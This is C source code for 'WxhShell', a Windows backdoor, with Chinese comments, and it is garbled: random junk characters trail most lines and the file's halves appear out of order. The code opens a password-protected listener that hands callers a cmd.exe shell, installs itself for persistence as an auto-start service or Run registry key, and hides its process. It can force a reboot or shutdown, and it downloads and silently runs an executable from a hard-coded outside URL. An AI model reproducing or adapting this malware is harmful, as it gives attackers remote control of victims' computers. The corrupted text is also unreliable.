    if(Boot(SHUTDOWN)) ^Xv_y+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?blF6Kl$  
    else { F:nhSd  
    closesocket(wsh); Ibt~e4f  
    ExitThread(0); &KinCh7l L  
    }  PI_MSiYQ  
    break; k L\;90  
    } u!I Es  
  // 获取shell sXHrCU  
  case 's': { T"7Ue  
    CmdShell(wsh); Hl`S\  
    closesocket(wsh); tPu0r],`o  
    ExitThread(0); &)jBr^x#>  
    break; 4q sIJJ[.  
  } x\taG.'zX  
  // 退出 ct,B0(]  
  case 'x': { X"_,#3Ko!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gc``z9@Xg  
    CloseIt(wsh); `o~ dQb/k+  
    break; iSD E6  
    } |  RMIV  
  // 离开 K.3)m]dCl  
  case 'q': { %:i; eUKR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  2fZVBj  
    closesocket(wsh); M- inlZNR  
    WSACleanup(); 69#mj*p@+  
    exit(1); mS?.xu  
    break; K@av32{  
        } Ln6\Iis  
  } w`_cmI  
  } K_/-mwA v  
P$LHsg]  
  // 提示信息 o,o,(sII  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l 2&cwjc  
} nx{_^sK  
  } QTZf e<m0  
*12,MO>go  
  return; -|E|-'  
}  mZGAl1`8  
5G5P#<Vv  
// shell模块句柄 zTA+s 2  
int CmdShell(SOCKET sock) &'%b1CbE  
{ ]2O52r  
STARTUPINFO si; dkTewT6'  
ZeroMemory(&si,sizeof(si)); hcWYz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #4hxbRN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tA#7Xr+  
PROCESS_INFORMATION ProcessInfo; :cDhqBMNr`  
char cmdline[]="cmd"; n~~0iU )  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /S4$qr cM  
  return 0; kb"g  
} +um Ua  
ODS8bD0!i  
// 自身启动模式 b| e7mis@  
int StartFromService(void) yGGQ;!/  
{ K@uUe3  
typedef struct {+D 6o  
{ ey'x3s_  
  DWORD ExitStatus; <cC0l-=  
  DWORD PebBaseAddress; Djv0]Sm^!  
  DWORD AffinityMask; i WCR 5c=  
  DWORD BasePriority; BS-nny  
  ULONG UniqueProcessId; yb 7  
  ULONG InheritedFromUniqueProcessId; &.dC%  
}   PROCESS_BASIC_INFORMATION; y3!r;>2k=  
Fk&W*<}/;  
PROCNTQSIP NtQueryInformationProcess; i%~^3/K  
D@jG+k-Lm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2hZ>bg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KDx~^OO  
j_=A)B?  
  HANDLE             hProcess; B 4s^X`?z  
  PROCESS_BASIC_INFORMATION pbi; $raxf80A  
t9zPUR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f~U~f}Uw4  
  if(NULL == hInst ) return 0; syuW>Z8s  
2'R ;z< _  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?-'m#5i"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /-Saz29f^Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FE}!I  
(_:k s  
  if (!NtQueryInformationProcess) return 0; 9VqE:c /  
N(*Xjy+PX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N0Y$QWr_$  
  if(!hProcess) return 0; XctSw  
. X  (^E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x3./  
jZRf{  
  CloseHandle(hProcess); FG-v71!h#  
q_0So}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;3\oU$'  
if(hProcess==NULL) return 0; E;$;g#ksf  
BQX6Q<  
HMODULE hMod; aT9+] Ig  
char procName[255]; qN5 ru2  
unsigned long cbNeeded; gmCW__oR  
zDEX `~c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j@yK#==k  
+>zjTP7\e"  
  CloseHandle(hProcess); 87QK&S\  
7'c ;$~  
if(strstr(procName,"services")) return 1; // 以服务启动 +I>u${sVx*  
uc.dtq!   
  return 0; // 注册表启动 U[4Xo&`  
} ll]MBq  
KKrLF?rc  
// 主模块 Z%h _g-C  
int StartWxhshell(LPSTR lpCmdLine) [ " n+2;  
{ +[LG>  
  SOCKET wsl; U;o$=,_p  
BOOL val=TRUE; bn$('  
  int port=0; z%lu%   
  struct sockaddr_in door; 'hEvW  
VnZRsFY<^  
  if(wscfg.ws_autoins) Install(); ].=~C"s,a  
#3b_ #+,  
port=atoi(lpCmdLine); sj;n1t}$S  
Qs38VlR_m  
if(port<=0) port=wscfg.ws_port; tl:V8sYTP  
d|P,e;m-  
  WSADATA data; W^a-K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VR8 kY&  
HDmjt+3&n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {}sF ?wZf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gD13(G98  
  door.sin_family = AF_INET; uX.^zg]}%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e8WuAI86  
  door.sin_port = htons(port); b" Z$?5  
pKxsK^O5[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IE)$ .%q;)  
closesocket(wsl); n\-nBrVSf  
return 1;  U(d K  
} ?L%BD7  
^{V t  
  if(listen(wsl,2) == INVALID_SOCKET) { #8Bs15aV  
closesocket(wsl); u-8b,$@Z>'  
return 1; `l#|][B)g$  
} e;|:W A  
  Wxhshell(wsl); $#ve^.VHv  
  WSACleanup(); nrhzNW>]  
?S*Cvr+=4  
return 0; @r.w+E=  
&oz^dlw  
} Az+k8=?  
[~aRA'qJ{V  
// 以NT服务方式启动 r<%ua6@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H^VNw1.   
{ S7B7'[ru  
DWORD   status = 0; >/]` f8^  
  DWORD   specificError = 0xfffffff; /?ZO-]q  
B4D#T lB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Oc6_x46S4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YaBZ#$r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EJCf[#Sf  
  serviceStatus.dwWin32ExitCode     = 0; @5["L  
  serviceStatus.dwServiceSpecificExitCode = 0; 3R}O3#lj,  
  serviceStatus.dwCheckPoint       = 0; F @%`(/^TA  
  serviceStatus.dwWaitHint       = 0; yb-1zF|  
7R4t%^F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bpr  
  if (hServiceStatusHandle==0) return; vvTQ!Aa  
X7bS{GT  
status = GetLastError(); $fzO:br5WJ  
  if (status!=NO_ERROR) rexNsKRK_  
{ [%uj+?}6O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,+d\@:  
    serviceStatus.dwCheckPoint       = 0; Nf]h8d~  
    serviceStatus.dwWaitHint       = 0; [$Dzf<0  
    serviceStatus.dwWin32ExitCode     = status; /e:kBjysJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; |]Eli%mNe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F3?PlH:Y  
    return; tk5zq-/ d  
  } f-!P[6bY  
wv7XhY}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +55+%oGl  
  serviceStatus.dwCheckPoint       = 0; M+L8~BD@  
  serviceStatus.dwWaitHint       = 0; S"@/F- 81  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >1$ vG  
} :Rroz]*  
l%_r3W  
// 处理NT服务事件,比如:启动、停止 N|rB~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) baO'FyCs9&  
{ 9cnLf#  
switch(fdwControl) R<L<kChg  
{ x 8/I"!gI  
case SERVICE_CONTROL_STOP: LmZ"_  
  serviceStatus.dwWin32ExitCode = 0; Y'{F^VxA/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W"v"mjYud  
  serviceStatus.dwCheckPoint   = 0; ^. p d'  
  serviceStatus.dwWaitHint     = 0; +_T`tmQ  
  { lz [s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O a%ZlEUF  
  } 8Y,imj\(v  
  return; xU!eT'Y  
case SERVICE_CONTROL_PAUSE: 0! W$Cz[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /Xm4%~b_gj  
  break; MS~+P'  
case SERVICE_CONTROL_CONTINUE: JW}O`H9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +V` *  
  break; l+UUv]:1  
case SERVICE_CONTROL_INTERROGATE: T&q0TBT  
  break; \3WQ<t)W  
}; aGml!N5'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -<{;.~nI.  
} u85  dG7  
cuoZ:Wh  
// 标准应用程序主函数 '* eeup  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b6?&h:{k  
{ (MGYX_rD  
)j+G4  
// 获取操作系统版本 0@tN3u?dx  
OsIsNt=GetOsVer(); nJhaI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c9:8KMF)  
~QngCg-5q  
  // 从命令行安装 Fl}{"eCF8  
  if(strpbrk(lpCmdLine,"iI")) Install(); <}Hs@`jS  
n)uck5  
  // 下载执行文件 M-V{(  
if(wscfg.ws_downexe) { \\)9QP?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >3?p23|;  
  WinExec(wscfg.ws_filenam,SW_HIDE); I/hq8v~S  
} !zQbF&>  
hd1aNaF-  
if(!OsIsNt) { l 2ARM3"  
// 如果时win9x,隐藏进程并且设置为注册表启动 +pY-- 5t  
HideProc(); tyU'[LF?  
StartWxhshell(lpCmdLine); ?p'DgL{  
} $1uT`>%  
else .z, ot|  
  if(StartFromService()) {fI"p;|  
  // 以服务方式启动 H(gETRh  
  StartServiceCtrlDispatcher(DispatchTable);  ae>B0#=  
else IBz)3gj J  
  // 普通方式启动 z(n Ba]^[F  
  StartWxhshell(lpCmdLine); e|d~&Bk0  
U BWUq  
return 0;  \RS ,Y  
} t`")Re_j  
cd(YH! 3  
Q#5~"C  
;J,`v5z0:  
=========================================== 7V2xg h!W  
O?$]/d  
?Q~o<%U7  
IAi|4,y_L  
/@?lV!QiO  
[.'9Sw  
" J3XrlSc  
Tn"^`\m  
#include <stdio.h> uE,g|51H/  
#include <string.h> tF:AqR: (~  
#include <windows.h> w_P2\B^  
#include <winsock2.h> R.Kz nJ  
#include <winsvc.h> 6E{(_i  
#include <urlmon.h> O?t49=uB}  
9/JB n  
#pragma comment (lib, "Ws2_32.lib") X$*]$Ge>  
#pragma comment (lib, "urlmon.lib") ] @uuB\u  
* /^}  
#define MAX_USER   100 // 最大客户端连接数 $'n?V=4  
#define BUF_SOCK   200 // sock buffer ]P >c{  
#define KEY_BUFF   255 // 输入 buffer 0{(5J,/BF  
oTg 'N  
#define REBOOT     0   // 重启 k] A(nr  
#define SHUTDOWN   1   // 关机 tz9"#=}0  
tu's]3RE  
#define DEF_PORT   5000 // 监听端口 abw5Gz@Ag  
# TZ`   
#define REG_LEN     16   // 注册表键长度 o]DYS,v  
#define SVC_LEN     80   // NT服务名长度 30W.ks5(  
WOQ>]Z  
// 从dll定义API E?FUr?-[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *)L~1;7j>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gu "@*,hL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yRR[M@Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7U!-_)n{  
U%n>(!d  
// wxhshell配置信息 H.< F6  
struct WSCFG { P~;1adi3  
  int ws_port;         // 监听端口 "hnvND4=  
  char ws_passstr[REG_LEN]; // 口令 /\MkH\zg  
  int ws_autoins;       // 安装标记, 1=yes 0=no .=zBUvy  
  char ws_regname[REG_LEN]; // 注册表键名 6^)eW+  
  char ws_svcname[REG_LEN]; // 服务名 /vI"v 4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k8b5~A,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0ev='v8?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 av bup  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j&[u$P*K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~KczP1p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3e9UDN2  
m=25HH7enb  
}; ^% L;FGaA  
hi/Z>1ZOX  
// default Wxhshell configuration (aLjW=  
struct WSCFG wscfg={DEF_PORT, n&2OfBJ  
    "xuhuanlingzhe", W5/|.}  
    1, sB5@6[VDI  
    "Wxhshell", gs&F .n  
    "Wxhshell", nrR2U`  
            "WxhShell Service", 6mqp`x`  
    "Wrsky Windows CmdShell Service", QjKh#sU&  
    "Please Input Your Password: ", urg^>n4V]  
  1, (Q=:ln;kM  
  "http://www.wrsky.com/wxhshell.exe", bg5i+a,?  
  "Wxhshell.exe" g> m)XY  
    }; &3Lhb}m  
1p8pH$j'  
// 消息定义模块 S9[Y1qH>K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P(!%Pp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dL~^C I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r>gf&/Pl  
char *msg_ws_ext="\n\rExit."; ]c M8TT  
char *msg_ws_end="\n\rQuit."; kt |j]:  
char *msg_ws_boot="\n\rReboot..."; `A#0If  
char *msg_ws_poff="\n\rShutdown..."; -2j[;kgt}  
char *msg_ws_down="\n\rSave to "; ?6UjD5NkX  
.Rt~d^D@  
char *msg_ws_err="\n\rErr!"; J%lrXm(l{  
char *msg_ws_ok="\n\rOK!"; -f*5lkO  
<"8F=3:uk  
char ExeFile[MAX_PATH]; <7! "8e  
int nUser = 0; egAYJK-,!  
HANDLE handles[MAX_USER]; 1'P4{T0 [  
int OsIsNt; bVzJOBe  
;p7R~17  
SERVICE_STATUS       serviceStatus; G'`^U}9V\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /|3~LvIt=  
UXh%DOq   
// 函数声明 "MK2QIo  
int Install(void); \Rs9B .  
int Uninstall(void); Dp4x\97O  
int DownloadFile(char *sURL, SOCKET wsh); ]$#9B-uB  
int Boot(int flag); SAdo9m'  
void HideProc(void); -q8l"i>h=  
int GetOsVer(void); ^j2ve's:  
int Wxhshell(SOCKET wsl); L c )i  
void TalkWithClient(void *cs); >cpv4Pgm  
int CmdShell(SOCKET sock); $@l=FV_;  
int StartFromService(void); yo8mfH_,  
int StartWxhshell(LPSTR lpCmdLine); X"9N<)C  
~dzD7lG6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]~~G<Yh:=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g W_E  
t/_\w"  
// 数据结构和表定义 +Jm vB6s  
SERVICE_TABLE_ENTRY DispatchTable[] = ^nK7&]rK  
{ DWEDL[{  
{wscfg.ws_svcname, NTServiceMain}, e1y#p3 @d  
{NULL, NULL} (BngwLVDK  
}; )CHXfO w  
jT/P+2hMW  
// 自我安装 p2< 927z  
int Install(void) 4>HaKJ-c#  
{ 5<e{)$C  
  char svExeFile[MAX_PATH];  U ^nv)  
  HKEY key; /r2S1"(q  
  strcpy(svExeFile,ExeFile);  ZpMv16  
@eutp`xoT\  
// 如果是win9x系统,修改注册表设为自启动 >?_}NZ,y  
if(!OsIsNt) { y^[t3XA6Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IG7,-3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cucmn*o?  
  RegCloseKey(key); U#bmMH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mkfDDl2 GP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FS=LpvOG)  
  RegCloseKey(key); PVIZ Y^64  
  return 0; EZzR"W/  
    } f*A B Im  
  } mU  
} 3ZI:EZ5  
else { R]o0V*n  
P{BW^kAdH  
// 如果是NT以上系统,安装为系统服务 D?UURURf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W /*?y &  
if (schSCManager!=0) 2(x| %  
{ }p-/R'  
  SC_HANDLE schService = CreateService 3)L#V .  
  ( =CD.pw)B1  
  schSCManager, rqnxRq  
  wscfg.ws_svcname, +v'2s@e` #  
  wscfg.ws_svcdisp, fJ0V|o  
  SERVICE_ALL_ACCESS, 8)1=5 n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wt;`_}g  
  SERVICE_AUTO_START, pQ!lY  
  SERVICE_ERROR_NORMAL, Q2)(tB= )  
  svExeFile, IOF!Ra:w  
  NULL, 4)>UTMF  
  NULL, %O f w"W  
  NULL, .t8hTlV?<B  
  NULL, /I1n${{5  
  NULL cN FHbMd  
  ); 5`$!s17  
  if (schService!=0) GU9G5S.  
  { u!HX`~q+A  
  CloseServiceHandle(schService); .{ZJywE<  
  CloseServiceHandle(schSCManager); J7C?Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x!vyjp  
  strcat(svExeFile,wscfg.ws_svcname); GN Ewq$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~-y&C%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {0n p  
  RegCloseKey(key); |(2#KMEWa  
  return 0; U$y wO4.  
    } ]~VuY:abH  
  } -QR]BD%J*[  
  CloseServiceHandle(schSCManager); Qx3eEt@X5]  
} !`4ie  
} 1RX-`"^+  
,3c25.,*  
return 1; V~ MsGj  
} -3 ANNj  
k3e6y  
// 自我卸载 6V ncr}  
int Uninstall(void) G<k.d"<  
{ m+:JNgX6  
  HKEY key; "EA =auN{  
%`K{0b  
if(!OsIsNt) { Hmk xE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x7G)^  
  RegDeleteValue(key,wscfg.ws_regname); 7=yjd)Iy9m  
  RegCloseKey(key); w ^^l,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nd,\<}uP9  
  RegDeleteValue(key,wscfg.ws_regname); Y<kz+d,C  
  RegCloseKey(key); W(Md0*   
  return 0; K'e,9P{  
  } u"%D;  
} CB,2BTtRE  
} 8B-mZFXpK  
else { PC+Soh*  
$T:;Kc W)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <P ?gP1_zi  
if (schSCManager!=0) kOdpW  
{ kP/<S<h,g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y2tBFeWY  
  if (schService!=0) !4gHv4v ;  
  { n[r1h=?j3  
  if(DeleteService(schService)!=0) { ujN~l_ 4  
  CloseServiceHandle(schService); {dP6fr1z  
  CloseServiceHandle(schSCManager); $)c[FR~a  
  return 0; MxI*ml8z?  
  } 5Ma."?rW   
  CloseServiceHandle(schService); o0F,!}  
  } vJct)i  
  CloseServiceHandle(schSCManager); -P-8D6   
} |,S]EHIy  
} nUVk;0at  
w-$iKtb.  
return 1; (x@J@ GP*  
} (CH6Q]Wi_!  
ePl+ M  
// 从指定url下载文件 [\ Sd*-  
int DownloadFile(char *sURL, SOCKET wsh) +4Wl  
{ m8x?`Gw~jw  
  HRESULT hr; R >SZE"  
char seps[]= "/"; 5-k gGOt  
char *token; _ W#Km  
char *file; &iq'V*+-\  
char myURL[MAX_PATH]; WA1yA*S  
char myFILE[MAX_PATH]; PX0N7L  
!};Ll=dz  
strcpy(myURL,sURL); Z%LS{o~LK.  
  token=strtok(myURL,seps); ]N0B.e~D  
  while(token!=NULL) ) ?B-en\  
  { 6(t'B!x  
    file=token; jk_yrbLc  
  token=strtok(NULL,seps); \ K}KnJ  
  } -|s% 5p|  
{~R?f$}""j  
GetCurrentDirectory(MAX_PATH,myFILE); _D@QsQ_Z  
strcat(myFILE, "\\"); } _];yw  
strcat(myFILE, file); Wd(|w8J{a  
  send(wsh,myFILE,strlen(myFILE),0); \fSruhD  
send(wsh,"...",3,0); vN@04a\h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N+5f.c+S-  
  if(hr==S_OK) l x0BKD?n  
return 0; '/Vm[L$d  
else -:Fr($^  
return 1; zVe,HKF/  
7<(U`9W/q  
} hH-!3S2'  
59:kL<;S-  
// 系统电源模块 7@ y}J5,  
int Boot(int flag) j jv'"K2  
{ +XX5;;IC  
  HANDLE hToken; BILZ XMf  
  TOKEN_PRIVILEGES tkp; Mh3L(z]/E  
sAs`O@  
  if(OsIsNt) { '4 3U v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <nV3`L&]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  tj8o6N#  
    tkp.PrivilegeCount = 1; ;}KJ[5i-V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vO"E4s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k\/es1jOEh  
if(flag==REBOOT) { KyDd( 'i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q3-cWfU  
  return 0; }TuMMO4+  
} NU{eoqaT  
else { *!Gb_!98  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;[g~h |{6  
  return 0; A,4} $-7  
} 4\ )WMP  
  } MIZ!+[At  
  else { W$l4@A  
if(flag==REBOOT) { VC Ay~,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i?#U>0!  
  return 0; I{H!K rM!  
} &Q\k`0vzVB  
else { [Q6$$z92Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2JeEmG9  
  return 0; [!} uj`e  
} B%))HLo'  
} (U.VCSn  
fHI@' '0  
return 1; =M4wP3V/  
} K&dc< 4DC  
VzcW9'"#  
// win9x进程隐藏模块 /z)8k4  
void HideProc(void) ,g|ht%"  
{ U}=H1f,  
xs "\c7pC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g&ba]?[A  
  if ( hKernel != NULL ) ^Ga_wJP8S  
  { TC:t!:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4zBcq<R7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;t@^Z_z,CR  
    FreeLibrary(hKernel); 4`r-*Lx  
  } ashVV~\8A  
91T[@p  
return; eD^(*a>(  
} F:0 E- z'  
(~b0-3s  
// 获取操作系统版本 jt9@aN.mJN  
int GetOsVer(void) C8:y+pH_U;  
{ )^E6VD&6  
  OSVERSIONINFO winfo; %6@m~;c0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A/j'{X!z  
  GetVersionEx(&winfo); ,p..h+l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O7,:-5h0  
  return 1; ?DNeL;6  
  else E`iE]O  
  return 0; lx82:_  
} y] $- :^  
g J$m'kC;  
// 客户端句柄模块 MSt@yKq  
int Wxhshell(SOCKET wsl) Z$)jPDSr  
{ %.{xo.`a[  
  SOCKET wsh; |l?*' =  
  struct sockaddr_in client; k9&pX8#  
  DWORD myID; PC!X<C8*  
U/rFH9e$  
  while(nUser<MAX_USER) AIA4c"w.EO  
{ _9iF`Q  
  int nSize=sizeof(client); ]U 1S?p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +gb"} cN  
  if(wsh==INVALID_SOCKET) return 1; sNC~S%[  
VOp+6ho<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `M_w^&6+n  
if(handles[nUser]==0) ZQ#AEVI,  
  closesocket(wsh); .8CfCRq  
else 3 +D4$Y"  
  nUser++; GsE =5A8  
  } elP#s5l4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %Vsg4DRy  
?T[K{t;~jo  
  return 0; M;@/697G  
} `{J(S'a`  
Xkp`1UTH  
// 关闭 socket ]#$r TWMl'  
void CloseIt(SOCKET wsh) 0Jm)2@  
{ k@2@%02o9C  
closesocket(wsh); ]5eZLXM  
nUser--; n(Ry~Xu_  
ExitThread(0); 9z?B@;lMc  
} FzFP 0  
o7:"Sl2AD  
// 客户端请求句柄 ~T'$gl  
void TalkWithClient(void *cs) AiV1 vD`  
{ M j |"+(  
: DBJ2n  
  SOCKET wsh=(SOCKET)cs; 8PW3x-+  
  char pwd[SVC_LEN]; (R{z3[/u&  
  char cmd[KEY_BUFF]; Xm.["&  
char chr[1]; e= _7Q.cn  
int i,j; xa%2w]  
J)=Ts({  
  while (nUser < MAX_USER) { =$vy_UN  
RsP^T:M}$  
if(wscfg.ws_passstr) { \YF'qWB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1f5;^T I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); th|TwD&mO  
  //ZeroMemory(pwd,KEY_BUFF); 4= hz4(5a  
      i=0; i}ti  
  while(i<SVC_LEN) { M4}zRr([.5  
&uu69)u  
  // 设置超时 d7L|yeb"  
  fd_set FdRead; C;rK16cn  
  struct timeval TimeOut; xo(3<1mD  
  FD_ZERO(&FdRead); #TY[\$BHs  
  FD_SET(wsh,&FdRead); d0 yZ9-t  
  TimeOut.tv_sec=8; %@[ ~s,6<  
  TimeOut.tv_usec=0; CLY>M`%?+p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1`EkN0iZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fmk(}  
@)Sd3xw[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * n>YS  
  pwd=chr[0]; |K$EULzz  
  if(chr[0]==0xd || chr[0]==0xa) { ]Y6y ]u  
  pwd=0; i.>d#S  
  break; 17;qJ_T)  
  } Gv }~  
  i++; e{IwFX  
    } IgtTYxI  
Y\7/`ty  
  // 如果是非法用户,关闭 socket aboA9pwH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^Jn=a9Q6Z  
} *Y9'tHI  
MG0d&[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^o6&|q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5B+I\f&  
q#1Cm Kt4R  
while(1) { zvP>8[   
wE09%  
  ZeroMemory(cmd,KEY_BUFF); zRF +D+  
$8Y|& P  
      // 自动支持客户端 telnet标准   u-#J!Z<T8  
  j=0; -Mufo.Jz1o  
  while(j<KEY_BUFF) { a6.0 $'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^>!~%Vv7!  
  cmd[j]=chr[0]; Z <vTr6?  
  if(chr[0]==0xa || chr[0]==0xd) { 3gU*,K7  
  cmd[j]=0; R//S(eU68\  
  break; &dI;o$t  
  } ]5i]2r1  
  j++; (e6KSRh2fF  
    } _'DZoOH|VE  
\jThbCb  
  // 下载文件 7 `& NB]  
  if(strstr(cmd,"http://")) { WCZeY?_^c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sD`OHV:  
  if(DownloadFile(cmd,wsh)) UG<`m]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S.A|(?x  
  else ! V;glx[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >>HC|  
  } *%`jcF  
  else { w?zY9Fs=s  
rA#Ji~  
    switch(cmd[0]) { 7F D.3/  
  p*S;4+>#  
  // 帮助 2XGbqZj  
  case '?': { $ACD6u6  
